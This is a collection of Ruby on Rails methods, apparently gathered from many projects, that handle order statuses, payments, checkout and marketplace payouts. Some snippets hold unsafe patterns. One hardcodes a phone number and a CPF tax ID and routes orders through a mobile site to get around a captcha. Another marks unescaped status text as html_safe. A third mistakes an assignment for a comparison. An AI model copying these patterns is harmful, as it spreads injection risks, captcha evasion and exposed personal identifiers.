"def approval_of_admin\n status = params[:status]\n @order = Order.find(params[:id])\n @order.update_attributes!(:status => status)\n @order_email = Order.find(params[:id])\n if status == \"5\"\n @reviewer = @order.reviews.last.user\n OrderMailer.admin_review_approved(@order_email, @reviewer).deliver_now\n elsif status == \"6\"\n @reviewer = @order.reviews.last.user\n OrderMailer.admin_review_rejected(@order_email,@reviewer).deliver_now\n user = User.find(@order.user_id)\n user_orders_count = user.orders.count\n if user_orders_count == 1\n @order.update_attributes!(:status => 7)\n end\n end\n redirect_to admin_reviewed_by_reviewer_path , :notice => \"Order successfully updated.\"\n end",
"def so_update_selects_from_order\n order = params[:order]\n projects = projects_dropdown\n charge_account_id = 0\n store_id = 0\n if order != '0'\n @order = WorkOrder.find(order)\n @project = @order.project\n @charge_account = @order.charge_account\n charge_account_id = @charge_account.id rescue 0\n @store = @order.store\n store_id = @store.id rescue 0\n if @charge_account.blank?\n @charge_account = @project.blank? ? projects_charge_accounts(projects) : charge_accounts_dropdown_edit(@project)\n end\n if @store.blank?\n @store = project_stores(@project)\n end\n else\n @charge_account = projects_charge_accounts(projects)\n @store = stores_dropdown\n end\n @json_data = { \"charge_account\" => @charge_account, \"store\" => @store,\n \"charge_account_id\" => charge_account_id, \"store_id\" => store_id }\n render json: @json_data\n end",
"def index\n # Find all unarchived orders for the store which are ready for showing in admin (i.e. have gone to checkout)\n @orders = Breeze::Commerce::Order.unarchived.includes(:line_items).find_all{ |o| o.show_in_admin? }\n # # @filters = Breeze::Commerce::Order::FILTERS\n # # if params[:show] && @filters.collect{|f| f[:scope]}.include?(params[:show])\n # # @orders = @orders.send(params[:show])\n # # end \n @orders = @orders.to_a.sort_by{ |o| params[:sort] ? o.send(params[:sort]) : - o.created_at.to_i }.paginate(:page => params[:page], :per_page => 15)\n\n @billing_statuses = Breeze::Commerce::OrderStatus.billing.order_by(:sort_order.asc) # DRY up this repeated code\n @shipping_statuses = Breeze::Commerce::OrderStatus.shipping.order_by(:sort_order.asc)\n end",
"def index\n @cdg_order_statuses = CdgOrderStatus.all\n end",
"def set_order_status\n @order_status = OrderStatus.find(params[:id])\n end",
"def notifications\n order = Spree::Order.find_by_number(params[:order_id])\n\n order.payment_state =\n case params[:transaction_status]\n when \"expired\", \"cancel\"\n \"failed\"\n when \"pending\"\n \"pending\"\n when \"capture\"\n \"processing\"\n when \"settlement\"\n \"completed\"\n end\n\n order.save\n head 200\n end",
"def state_transition_callback\n if status_changed?\n ScriptLog.info \"order callback: #{status_was} -> #{status}\"\n payout_address = nil\n payout_address = vendor.payout_btc_address if payment_method.is_bitcoin?\n payout_address = vendor.payout_ltc_address if payment_method.is_litecoin?\n\n payment_amount = payment_received\n if multipay_group\n # This order is a member of a multipay group. The requirements for being in a group is that the exact payment amount\n # was received for the set of orders. Therefore the amount paid to an order (either directly or indirectly) will always equal price.\n payment_amount = btc_price\n end\n\n commission_fraction = Rails.configuration.commission\n if vendor.commission\n # Vendor commission defaults to null. If it has been set, use that instead of system default.\n commission_fraction = vendor.commission\n end\n\n # Market changes state to finalized on \"finalize early\" orders so buyer doesn't need to. See FE doc above.\n if status_was == PAID && status == ACCEPTED && fe_required\n self.status = FINALIZED\n ScriptLog.info \"order callback: finalized early #{id}\"\n end\n\n if status_was == PAYMENT_PENDING && status == PAID_NO_STOCK\n self.buyer_payout = OrderPayout.new(btc_amount: payment_amount, payout_type: 'buyer', user: buyer)\n elsif status_was == PAYMENT_PENDING && status == EXPIRED\n # Create a new OrderPayout even if no payment received.\n # Order may never receive any payment but doesn't hurt to have a OP created in case it does later.\n self.buyer_payout = OrderPayout.new(btc_amount: payment_amount, payout_type: 'buyer', user: buyer)\n elsif status_was == PAID && status == DECLINED\n self.buyer_payout = OrderPayout.new(btc_amount: payment_amount, payout_type: 'buyer', user: buyer)\n elsif status_was == SHIPPED && status == FINALIZED\n self.commission = payment_amount * commission_fraction\n self.vendor_payout = OrderPayout.new(btc_amount: payment_amount - commission, payout_type: 'vendor', user: vendor, btc_address: payout_address)\n self.finalized_at = Time.now\n elsif status_was == SHIPPED && status == AUTO_FINALIZED\n self.commission = payment_amount * commission_fraction\n self.vendor_payout = OrderPayout.new(btc_amount: payment_amount - commission, payout_type: 'vendor', user: vendor, btc_address: payout_address)\n elsif (status_was == ACCEPTED || fe_required) && status == FINALIZED # buyer FE or this callback finalized.\n self.commission = payment_amount * commission_fraction\n self.vendor_payout = OrderPayout.new(btc_amount: payment_amount - commission, payout_type: 'vendor', user: vendor, btc_address: payout_address)\n self.finalized_at = Time.now\n elsif status_was == REFUND_REQUESTED && status == REFUND_FINALIZED\n self.buyer_payout = OrderPayout.new(btc_amount: payment_amount * refund_requested_fraction, payout_type: 'buyer', user: buyer)\n # Only create vendor payout if their amount is not zero. Don't care about creating buyer payout with zero payout amount.\n if refund_requested_fraction < 1.0\n vendor_portion = payment_amount - self.buyer_payout.btc_amount\n self.commission = vendor_portion * commission_fraction\n self.vendor_payout = OrderPayout.new(btc_amount: vendor_portion - commission, payout_type: 'vendor', user: vendor, btc_address: payout_address)\n end\n elsif status == ADMIN_FINALIZED\n # refund amounts are final and cannot be adjusted because payout script may have already retrieved payouts since this was saved.\n # Only create vendor payout if their amount is not zero. Don't care about creating buyer payout with zero payout amount.\n self.buyer_payout = OrderPayout.new(btc_amount: payment_amount * admin_finalized_refund_fraction, payout_type: 'buyer', user: buyer)\n if admin_finalized_refund_fraction < 1.0\n vendor_portion = payment_amount - self.buyer_payout.btc_amount\n self.commission = vendor_portion * commission_fraction\n self.vendor_payout = OrderPayout.new(btc_amount: vendor_portion - commission, payout_type: 'vendor', user: vendor, btc_address: payout_address)\n end\n end\n end\n end",
"def status_filter_options\n helpers.options_for_select([[\"Any\", \"ANY\"]], params.dig(:query, :status)) +\n helpers.grouped_options_for_select(\n { \"open/closed\" => [[\"Open\", \"\"], [\"Closed\", \"closed\"]],\n \"status\" => Admin::DigitizationQueueItem::STATUSES.\n find_all {|s| s != \"closed\" }.\n collect {|s| [s.humanize, s]}\n },\n params.dig(:query, :status) || \"\"\n )\n\n # helpers.options_for_select(\n # Admin::DigitizationQueueItem::STATUSES.\n # find_all {|s| s != \"closed\" }.\n # collect {|s| [s.humanize, s]},\n # params.dig(:query, :status)\n # )\n end",
"def incoming_order_status\n\tmost_recent_order_statuses = order_statuses.order(:updated_at).last(2)\n\tincoming_order_status = most_recent_order_statuses[1]\n end",
"def test_status\n assert_equal @order.status, order_status_codes(:ordered_paid_to_ship).name\n end",
"def update_order_status\n order.delivery_status = status\n order.save\n end",
"def completed_orders\n orders = current_user.restaurant.orders.where(\"status = ? OR status = ? \", 7, 8)\n render json: orders, status: :ok\n end",
"def order_status_params\n params.require(:order_status).permit(:status, :order_id, :detail)\n end",
"def order_status_label(order)\n cls = {\n 'pending' => 'info',\n 'payed' => 'success',\n 'cancelled' => 'warning'\n }\n \"<span class='label label-#{cls[order.status]}'>#{order.status}</span>\".html_safe\n end",
"def orders_details_auto_status_changer(order)\n if order.read_attribute_before_type_cast(:status) == 1\n order.orders_details.each do |order_detail|\n order_detail.update(making_status: 1)\n end\n end\n end",
"def getNextPendingOrder(status_hash)\n\t\t$CONFIG[:api_path] +='/next_pending_order'\n\t\tnew_order_hash = Hash.new\n\t\tresponse = RestClient.get(apiAuth, {:accept => :json})\n\t\t\n\t\tif response.to_s.include?('{\"meta\":{\"status\":200,\"msg\":\"OK\"}')\n\t\t\tnew_order_hash = JSON.parse(response)\n\t\t\tnew_order = new_order_hash[\"response\"][\"order\"][\"order_number\"]\n\t\t\tstatus_hash[:msg] = \"order: #{new_order} received\"\n\t\t\t$LOG.info(status_hash[:msg])\n\t\t\tputs status_hash[:msg]\n\t\telse\n\t\t\tstatus_hash[:status] = 1\n\t\t\tstatus_hash[:msg] = 'no new orders'\n\t\t\tputs status_hash[:msg]\n\t\t\t$LOG.info(status_hash[:msg])\n\t\t\texit\n\t\tend\n\t\t\n\t\torder_hash = {\n\t\t\t:order_number\t\t\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"order_number\"].to_s,\n\t\t\t:order_number\t\t\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"order_number\"],\n\t\t\t:image_zip_file\t\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"image_zip_file\"].to_s,\n\t\t\t:status_email\t\t\t\t\t=>\t$CONFIG[:status_email],\n\t\t\t:ship_option\t\t\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"ship_option\"],\n\t\t\t:ship_to_first_name\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"ship_to_first_name\"],\n\t\t\t:ship_to_last_name\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"ship_to_last_name\"],\n\t\t\t:customer_first_name\t=>\tnew_order_hash[\"response\"][\"order\"][\"customer_first_name\"],\n\t\t\t:customer_first_name\t=>\tnew_order_hash[\"response\"][\"order\"][\"customer_first_name\"],\n\t\t\t:customer_last_name\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"customer_last_name\"],\n\t\t\t:customer_email\t\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"customer_email\"],\n\t\t\t:ship_to_company\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"ship_to_company\"],\n\t\t\t:ship_to_addr1\t\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"ship_to_addr1\"],\n\t\t\t:ship_to_addr2\t\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"ship_to_addr2\"],\n\t\t\t:ship_to_city\t\t\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"ship_to_city\"],\n\t\t\t:ship_to_state\t\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"ship_to_state\"],\n\t\t\t:ship_to_zip\t\t\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"ship_to_zip\"],\n\t\t\t:ship_to_phone\t\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"ship_to_phone\"],\n\t\t\t:items\t\t\t\t\t\t\t\t=>\tnew_order_hash[\"response\"][\"order\"][\"items\"]\n\t\t}\n\t\torder_hash\n\tend",
"def update_order_status\n carts = Cart.where(:order_id => self.id)\n order_complete = true\n\n #go through the cart to check state of carts\n carts.each do |cart|\n if cart.status != 5 then\n order_complete = false\n break\n end \n end\n\n if order_complete then\n self.update_attribute( :status, 3) \n end\n\n return order_complete\n end",
"def status\n if ::Spree::PayoneFrontend::StatusCheck.new(request).valid_request?\n @order = Spree::Order.find_by(payone_hash: params[:param])\n if @order.present? and @order.payone_ref_number.eql? params[:reference]\n last_payment = @order.last_payment\n last_payment_method = @order.last_payment_method\n if last_payment_method.present? and last_payment_method.check_payone_status_param(params[:key])\n unless last_payment.eql?(\"completed\") # do only capture once\n last_payment.send(\"capture!\") if params[:txaction].eql?(\"capture\") or params[:txaction].eql?(\"paid\") or params[:txaction].eql?(\"appointed\")\n end\n render plain: 'TSOK'\n else\n render plain: \"NOTOK\"\n end\n else\n render plain: \"NOTOK\"\n end\n else\n render plain: \"NOTOK\"\n end\n end",
"def update\n @order = Order.find(params[:id])\n @order.status = params[:order][:status]\n @order.update(order_params)\n if @order.status = \"入金確認\"\n @order.order_details.each do |order_detail|\n order_detail.update(making_status: 1)\n end\n end\n redirect_back(fallback_location: admin_orders_path)\n end",
"def process_payment_status\n order = Spree::Order.find_by_number(params[:order_id])\n payment_id = order.payments.last.response_code\n \n mollie = Spree::PaymentMethod.find_by_type(\"Spree::Gateway::Mollie\")\n mollie_payment = mollie.provider.payments.get(payment_id)\n \n spree_payment = Spree::Payment.find_by_response_code(payment_id)\n\n # Translate Mollie status to Spree status and safe is to the order\n if mollie_payment.paid?\n spree_payment.complete! unless spree_payment.completed?\n spree_payment.order.next! unless spree_payment.order.complete?\n\n elsif mollie_payment.open? == false\n flash[:error] = t(\"payment.cancelled\", {default: \"Payment cancelled\"})\n spree_payment.failure! unless spree_payment.failed?\n \n else\n spree_payment.pend! unless spree_payment.pending?\n end\n\n redirect_to order.reload.paid? ? order_path(order) : checkout_state_path(:payment)\n end",
"def status\n if params[:reference]\n @orders = Order.where([\"reference = ?\", params[:reference]])\n elsif params[:client_name]\n @orders = Order.where([\"client_name = ?\", params[:client_name].downcase])\n @orders = @orders.page(params[:page] || 1).per(params[:per_page] || 10)\n else\n render json: {error: \"bad parameters\"}, status: :bad_request\n return\n end\n render json: @orders, status: :ok\n end",
"def set_cdg_order_status\n @cdg_order_status = CdgOrderStatus.find(params[:id])\n end",
"def current_order_status\n\tmost_recent_order_statuses = order_statuses.order(:updated_at).last(2)\n\tcurrent_order_status = most_recent_order_statuses[0]\n end",
"def completed\n\n @order = current_order\n \n posted_xml = params[:xml]\n\n # Remove XHTML character encoding (hopefully won't need to do this when we receive XML message from RomanCart!)\n xml = posted_xml.sub(\"<?xml version='1.0' encoding='UTF-8'?>\", \"\")\n \n xml_doc = Nokogiri::XML(xml) \n \n if @order = current_order\n \n @order.email = xml_doc.xpath(\"/romancart-transaction-data/sales-record-fields/email\").first.content\n \n @order.user_id = xml_doc.xpath(\"/romancart-transaction-data/orderid\").first.content\n \n @order.number = xml_doc.xpath(\"/romancart-transaction-data/orderid\").first.content \n flash[:message] = \"Order number taken from current time!\"\n @order.number = Time.now.to_i.to_s\n \n # ----------------------- Billing Address -------------------------------\n @order.bill_address = romancartAddress(xml_doc)\n # ----------------------- Delivery Address ------------------------------ \n #<delivery-address1/>\n if xml_doc.xpath(\"/romancart-transaction-data/sales-record-fields/delivery-address1\").first.content.empty?\n @order.use_billing = true\n else\n @order.ship_address = romancartAddress(xml_doc, \"delivery-\")\n end\n \n # Spree StateMachine = 1)cart -> 2)address -> 3)delivery -> 4)payment -> 5)confirm -> 6)complete\n\n # If the order is just for samples then it'll be free so no payment is required\n if @order.item_total == 0\n \n while @order.state != \"complete\"\n @order.next!\n end\n \n else\n \n while @order.state != \"payment\"\n @order.next!\n end\n \n if xml_doc.xpath(\"/romancart-transaction-data/paid-flag\").first.content.eql?(\"True\")\n\n unless @order.payments.exists?\n @order.payments.create!(:amount => @order.total)\n @order.payments.last.payment_method = Spree::PaymentMethod.find_by_name(\"RomanCart\")\n end\n \n # '@order.payments' is an array so need to get last one entered to access 'Spree::Payment' methods\n @order.payments.last.complete\n \n @order.payment_total = @order.total\n\n # To 6 - Complete\n @order.state = \"complete\"\n @order.completed_at = Time.now\n \n @order.save!\n end\n end\n\n end\n\n end",
"def orderStatusDesc(orderStatus)\n\n # Initialize variables\n output = ''\n\n case orderStatus\n when 'P' then output = 'Pending'\n when 'C' then output = 'Confirmed'\n when 'F' then output = 'Finished'\n when 'A' then output = 'Cancelled'\n else 'Error'\n end\n\n return output\n\n end",
"def fetch_qoo10_delivered_orders(smp)\n @message = []\n @all_cart_numbers = []\n fba_complete_states = ['complete', 'customer_complete', 'self_collect_complete', 'collect_complete', 'return_complete']\n market_place = smp.market_place\n #qoo10_statuses = {\"5\"=>\"Delivered\", \"4\"=>\"On delivery\"}\n qoo10_statuses = {\"5\"=>\"Delivered\"}\n for j in 1..10\n begin\n s_date = j.day.ago.strftime(\"%Y%m%d\")\n e_date = (j-1).day.ago.strftime(\"%Y%m%d\")\n qoo10_statuses.keys.each do |k|\n uri = URI(market_place.domain_url+'/ShippingBasicService.api/GetShippingInfo')\n req = Net::HTTP::Post.new(uri.path)\n req.set_form_data({'key'=>smp.api_secret_key,'ShippingStat'=>k,'search_Sdate'=>s_date,'search_Edate'=>e_date})\n res = Net::HTTP.start(uri.hostname, uri.port) do |http|http.request(req)end\n if res.code == \"200\"\n res_body = Hash.from_xml(res.body).to_json\n res_body = JSON.parse(res_body, :symbolize_names=>true)\n begin\n if res_body[:ShippingAPIService][:ResultMsg] == \"Success\"\n for i in 1..res_body[:ShippingAPIService][:TotalOrder].to_i\n order = res_body[:ShippingAPIService][(\"Order\"+i.to_s).to_sym]\n # find out the order\n @order = nil\n @order = Spree::Order.where(\"market_place_order_no=? AND seller_id=?\", order[:orderNo], smp.seller_id).try(:first)\n # check order present or not and order should not be cancelled already\n if @order.present? && !@order.is_cancel?\n # code to delivered the order\n if @order.update_attributes!(:market_place_order_status => \"Delivered\")\n @all_cart_numbers << @order.cart_no if @order.market_place_order_status == \"Delivered\" && (!fba_complete_states.include?@order.fulflmnt_state)\n else\n @message << \"Order not found!\"\n end # End of success status change in SF if\n end # End if order nil\n end # End of for loop\n end # End of success if\n @all_cart_numbers = @all_cart_numbers.uniq\n #Call to FBA to change status\n Spree::Order.update_fba_state(@all_cart_numbers.uniq, smp, \"Completed\") if @all_cart_numbers.present?\n rescue Exception => e\n @message << e.message\n end\n else\n res_body = Hash.from_xml(res.body).to_json\n res_body = JSON.parse(res_body, :symbolize_names=> true)\n @message << res_body[:ShippingAPIService][:ResultMsg]\n end\n end # End of status do\n rescue Exception => e\n @message << e.message\n end\n end # End for loop for day\n return @message.join(\"; \")\n end",
"def admin_order_params\n params.require(:order).permit(:order_status_id)\n end",
"def orderStatusFromSubject(order_hash, status_hash)\n\t\t\n\t\tif status_hash[:status] == 0\n\t\t\tsubject = order_hash[:subject].downcase.to_s\n\t\t\torder_hash[:status] = subject.match(/^\\S+/).to_s\n\t\t\tfull_order_number = subject.match(/\\s*#{order_hash[:status]}\\s+\\S+/).to_s.gsub(\"#{order_hash[:status]}\", '').lstrip!.split('.')\n\t\t\t\n\t\t\tif order_hash[:status] == 'start'\n\t\t\t\torder_hash[:status] = 'IP'\n\t\t\telsif order_hash[:status] == 'complete'\n\t\t\t\torder_hash[:status] = 'SH'\n\t\t\telsif order_hash[:status] == 'error'\n\t\t\t\torder_hash[:status] = 'PF'\n\t\t\tend\n\t\t\t\n\t\t\t\n\t\t\torder_hash[:order_number] = full_order_number[0].to_s\n\t\t\tif full_order_number[1]\n\t\t\t\torder_hash[:item_number] = full_order_number[1]\n\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\tif !is_number?(order_hash[:order_number])\n\t\t\t\torder_hash[:order_number] = nil\n\t\t\tend\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\torder_hash[:shipper] = 'FDX'\n\t\t\t\n\t\t\tshipping_types = [\n\t\t\t\t\"ground\", \n\t\t\t\t\"3 day\", \n\t\t\t\t\"2 day\", \n\t\t\t\t\"2nddayair\", \n\t\t\t\t\"3dayselect\",\n\t\t\t\t\"nextdayair\",\n\t\t\t\t\"nextdayairsaver\",\n\t\t\t\t\"overnight\",\n\t\t\t\t\"overnight standard\" \n\t\t\t]\n\t\t\t\n\t\t\tshipping_types.each do |type|\n\t\t\t\tif subject.match(/\\s*#{type}\\s+\\S+/)\n\t\t\t\t\torder_hash[:tracking_number] = subject.match(/\\s*#{type}\\s+\\S+/).to_s.gsub(\"#{type}\", '').lstrip! \n\t\t\t\t\torder_hash[:ship_method] = subject.match(/\\s*#{type}\\s+\\S+/).to_s.gsub(\"#{order_hash[:tracking_number]}\", '').lstrip!.chomp(' ')\t\t\n\t\t\t\tend \n\t\t\tend\n\t\t\t\n\t\t\tif subject.match(/\\s*error\\s+\\S+/)\n\t\t\t\tremove = subject.match(/\\s*error\\s+\\S+/).to_s\n\t\t\t\torder_hash[:status_detail] = subject.to_s.gsub(remove, '').lstrip!\n\t\t\telse\n\t\t\t\torder_hash[:status_detail] = \"\"\t \n\t\t\tend\n\t\n\t\t\tif order_hash[:status] != nil\n\t\t\t\tstatus_hash[:msg] = 'email status has been parsed'\n\t\t\telse\n\t\t\t\tstatus_hash[:status] = 1\n\t\t\t\tstatus_hash[:msg] = 'email status was not parsed'\n\t\t\tend \n\t\tend\t\t\t\n\t\t\n\tend",
"def monitor_orders()\r\n\t\topen = $future_rest.open_orders symbol: 'BTCUSDT'\r\n\t\t# all orders\r\n\t\tall = $future_rest.all_orders symbol: 'BTCUSDT'\r\n\tend",
"def complete_order customer\n puts \"========= Completing Order\"\n # Go to Cart Page\n @b.goto 'https://shoppingcart.aliexpress.com/shopcart/shopcartDetail.htm'\n # Check if all items can be purchased\n sleep 5\n if @b.button(class: \"buy-now-disabled-info\").exists?\n raise \"Um dos produtos do carrinho não está mais disponível\"\n end\n @b.button(class: \"buy-now\").wait_until_present(timeout: 30)\n if !@b.button(class: \"buy-now\").exists?\n raise \"Produto sem estoque na Aliexpress\"\n else\n @b.button(class: \"buy-now\").click\n end\n\n # Check if current session if up\n self.check_if_session_is_up\n\n fullname = to_english(customer[\"first_name\"]+\" \"+customer[\"last_name\"])\n\n # Fill customer's address\n puts \"========= Adding customer informations\"\n @log.add_message('Adicionando informações do cliente')\n @b.text_field(name: \"contactPerson\").wait_until_present(timeout: 3)\n @log.add_message(fullname)\n @b.text_field(name: \"contactPerson\").set fullname\n @b.select_list(name: \"country\").select \"Brazil\"\n if customer['number'].nil?\n adds = customer[\"address_1\"]\n else\n adds = customer[\"address_1\"]+\" \"+customer['number']\n end\n @log.add_message(to_english(adds))\n @b.text_field(name: \"address\").set to_english(adds)\n @log.add_message(to_english(customer[\"address_2\"]))\n @b.text_field(name: \"address2\").set to_english(customer[\"address_2\"])\n # Wait for States to turn on select\n sleep 1\n state = self.state.assoc(customer[\"state\"])\n @b.div(class: \"sa-province-wrapper\").select_list.select state[1]\n @b.text_field(name: \"city\").set to_english(customer[\"city\"])\n postcode = customer['postcode'].gsub(/\\D/, '')\n @b.text_field(name: \"zip\").set postcode\n @b.text_field(name: \"phoneCountry\").set '55'\n @b.text_field(name: \"mobileNo\").set '941873849'\n @b.text_field(name: \"cpf\").set '35825265856'\n @b.a(class: \"sa-confirm\").click\n\n check_costumer_data @b, fullname\n\n # Placing order on desktop website\n @b.button(id: \"place-order-btn\").click\n\n puts \"========= Finishing Order\"\n @log.add_message('Finalizando Pedido')\n sleep 3\n if @b.span(class: \"order-no\").exists?\n # Return the number of the Order if there is no captcha\n @finished = true\n @b.span(class: \"order-no\").text\n else\n puts \"========= Captcha detected, going to mobile...\"\n @log.add_message('Captcha detectado, indo para carrinho mobile')\n @b.goto 'm.aliexpress.com/shopcart/detail.htm'\n @b.div(class: \"buyall\").wait_until_present(timeout: 30)\n @b.div(class: \"buyall\").click\n # Create the final order on mobile website to avoid captcha\n @b.button(id: \"create-order\").wait_until_present(timeout: 30)\n @b.button(id: \"create-order\").click\n @finished = true\n @b.div(class: \"desc_txt\").wait_until_present(timeout: 30)\n @b.div(class: \"desc_txt\").text\n end\n end",
"def update\n @order_detail = OrderDetail.find(params[:id])\n @order = Order.find(@order_detail.order_id)\n if params[:order_detail][:production_status] == \"in_production\"\n @order.order_status = \"in_production\"\n @order.save\n end\n if @order_detail.update(order_detail_params)\n count_production_completed = 0\n @order.order_details.each do |order_detail|\n if order_detail.production_status == \"production_completed\"\n count_production_completed += 1\n end\n end\n if @order.order_details.count == count_production_completed\n @order.order_status = \"preparing_for_shipping\"\n @order.save\n end\n redirect_to admin_order_path(@order)\n else\n redirect_to admin_order_path(@order)\n end\n end",
"def order_params\n params.require(:order).permit(:status)\n end",
"def index\n @order_statusus = OrderStatus.all\n end",
"def change_status\n\n res = RResponse.new\n\n order = Order.find_by_id(params[:id])\n order.shipping_status_id = params[\"shipping_status_id\"]\n begin\n order.save\n res.success = true\n res.msg = 'Changed order status to \"' + order.status.name + '\"'\n\n # log this\n type = OrderLogType.find_by_name('status')\n log = OrderLog.create(:account_id => current_user.account.id, :order_log_type_id => type.id, :order_id => order.id, :subject => 'Order Status', :msg => res.msg)\n res.add_action(RAction.new({\n :component_id => 'order-log-' + params[:id],\n :success => true,\n :data => {:log => log.to_a}\n })) \n end\n\n respond(res)\n\n end",
"def mark_order_complete\n order_params = (driver_order_params)\n order_params[:payable_attributes][:driver_id] = current_user.customer_id\n if @order.single?\n if( (Time.now >= Time.parse(@order.place_date + ' ' + @order.timeslot.start) || true) && (@order.pending? ) && @order.update(order_params) )\n render json: @order, status: 200\n else\n render json: {'errorrs': ['Order can not be completed']}, status: :unprocessable_entity\n end\n else\n if(@order.update(order_params))\n render json: @order, status: 200\n else\n render json: {'errorrs': ['Order can not be completed']}, status: :unprocessable_entity\n end\n end\n end",
"def confirm_checkout\n lineItems = LineItem.find_all_by_user_id(current_user.id)\n if(lineItems)\n @transaction = Transaction.create(:buyer_id => current_user.id)\n user = current_user\n baddress = params[:address]\n bzipcode = params[:zipcode]\n if(!baddress || !bzipcode || baddress.length <=0 || bzipcode.length <=0)\n redirect_to cart_checkout_path, :notice => 'Please enter the address' #TODO: This notice should appear on page\n elsif (!params[:card][:user_id] || params[:card][:user_id].length<=0)\n redirect_to cart_checkout_path, :notice => 'Please select a credit card for payment'\n else\n if(params[:saddress] && params[:szipcode] && params[:saddress].length>0 && params[:szipcode].length == 5 )\n @saddress = params[:saddress]\n @szipcode = params[:szipcode]\n else\n @saddress= baddress\n @szipcode = bzipcode\n end\n\n\n @confirmed_items = \"\"\n @unavailable_items = \"\"\n @orders = []\n if @transaction.save\n lineItems.each do |lineItem|\n if(lineItem.line_item_type==9)\n order = Order.new\n item = Item.find(lineItem.item_id)\n auction = Auction.find_by_id(lineItem.auction_id)\n if(auction.state==1)\n auction.update_attribute(:state,2)\n order.billing_address = baddress + bzipcode\n order.shipping_address = @saddress + @szipcode\n order.item_quantity = lineItem.quantity\n order.price = Auction.find_by_item_id(lineItem.item_id).bid_amount\n order.total_price = Auction.find_by_item_id(lineItem.item_id).bid_amount * lineItem.quantity\n order.transaction_id = @transaction.id\n order.seller_id = item.user_id\n order.buyer_id = current_user.id\n order.item_id = item.id\n order.state = 0\n\n if(!order.save)\n redirect_to \"back\", :notice => \"Error creating order, or contact administrator with this message\"\n else\n @orders.push(order)\n @confirmed_items = @confirmed_items + \" \" + item.name+\"(\"+lineItem.quantity.to_s+\")\"\n NotifyUser.order_confirmation(user,@confirmed_items,@orders).deliver\n lineItem.destroy\n end\n end\n\n end\n\n\n if(lineItem.line_item_type==0)\n order = Order.new\n item = Item.find(lineItem.item_id)\n if(lineItem.quantity<=item.availability)\n order.billing_address = baddress + bzipcode\n order.shipping_address = @saddress + @szipcode\n order.item_quantity = lineItem.quantity\n order.price = item.price\n order.total_price = Float(item.price) * lineItem.quantity\n order.transaction_id = @transaction.id\n order.seller_id = item.user_id\n order.buyer_id = current_user.id\n order.item_id = item.id\n order.state = 0\n\n if(order.save)\n item.sold_count += lineItem.quantity\n item.availability -= lineItem.quantity\n item.save\n @orders.push(order)\n @confirmed_items = @confirmed_items + \" \" + item.name+\"(\"+lineItem.quantity.to_s+\")\"\n NotifyUser.order_confirmation(user,@confirmed_items,@orders).deliver\n lineItem.destroy\n else\n redirect_to :back, :notice => \"Error creating order, verify your inputs or contact administrator with this message\"\n end\n else\n @unavailable_items = @unavailable_items + \" \" + item.name+\"(\"+lineItem.quantity.to_s+\")\"\n end\n end\n end\n end\n end\n #redirect_to :action => 'index', :controller => 'orders'\n else\n redirect_to :back, :notice => 'Unknown processing error. Please verify your orders' #TODO: Cart screen\n end\n end",
"def orders_by_status\n avw = ApplicationWithVersion.where(application_id: application.id)\n roavw = ReleaseOrderApplicationWithVersion.where(application_with_version_id: avw.ids, release_order_id: @ro.ids)\n roavw.joins(:release_order_application_with_version_envs).select do |r|\n r.release_order_application_with_version_envs.exists?(env_id: id)\n end\n end",
"def check_current_order\t\n\t\t# TODO: Introduce a proper way to check the order payment status\n\t\t# Currently the order get removed from the session the moment the\n\t\t# spree receives payment and no way of tracking. Might have to introduce\n\t\t# other means of checking for payment receival for orders. A possible\n\t\t# method would be to have session id sent along with IPN secret and\n\t\t# mark a flag on payment notifications after displaying payment received\n\t\t# message\n\t\t# if current_order \\\n\t\t# && current_order.completed? \n\t\t# # && ((current_order.payment_state == \"paid\") or (current_order.payment_state == \"credit_owed\"))\n\t\t# \tflash[:notice] = t(:pp_ws_payment_received)\n\t\t# \t@order = current_order\n\t\t# \tsession[:order_id] = nil\n\n\t\t# \tif current_user\n\t\t# \t\tredirect_to spree.order_path(@order)\n\t\t# \telse\n\t\t# \t\tredirect_to root_path\n\t\t# \tend\n\t\t\t\n\t\t# end\n\tend",
"def notify_order_state(order, current_user)\n @order = order\n receiver = current_user.is_user? ? order.designer : order.user\n subject = \"\"\n case order.aasm_state\n when \"picked\"\n subject = \"[DesignDeck] 您好，您的订单:#{order.title},设计师已接单 \"\n when \"drafts_submitted\"\n subject = \"[DesignDeck] 您好，您的订单:#{order.title},设计师已提交初稿 #{order.title}\"\n when \"versions_submitted\"\n subject = \"[DesignDeck] 您好，您的订单:#{order.title},设计师已提交新稿件 #{order.title}\"\n when \"completed\"\n if current_user.is_user?\n subject = \"[DesignDeck] 您好，您的订单:#{order.title},最终版本文件打包已上传 #{order.title}\"\n else\n subject = \"[DesignDeck] 您好，您接的订单:#{order.title},用户已确认最终版，请上传打包文件 #{order.title}\"\n end\n when \"draft_selected\"\n subject = \"[DesignDeck] 您好，您接的订单:#{order.title},用户已选择初稿 #{order.title}\"\n when \"version_selected\"\n subject = \"[DesignDeck] 您好，您接的订单:#{order.title},用户已对稿件提出修改意见 #{order.title}\"\n end\n mail(to: receiver.email, subject: subject)\n end",
"def checkout \n \t@order_items = current_order.order_items\n end",
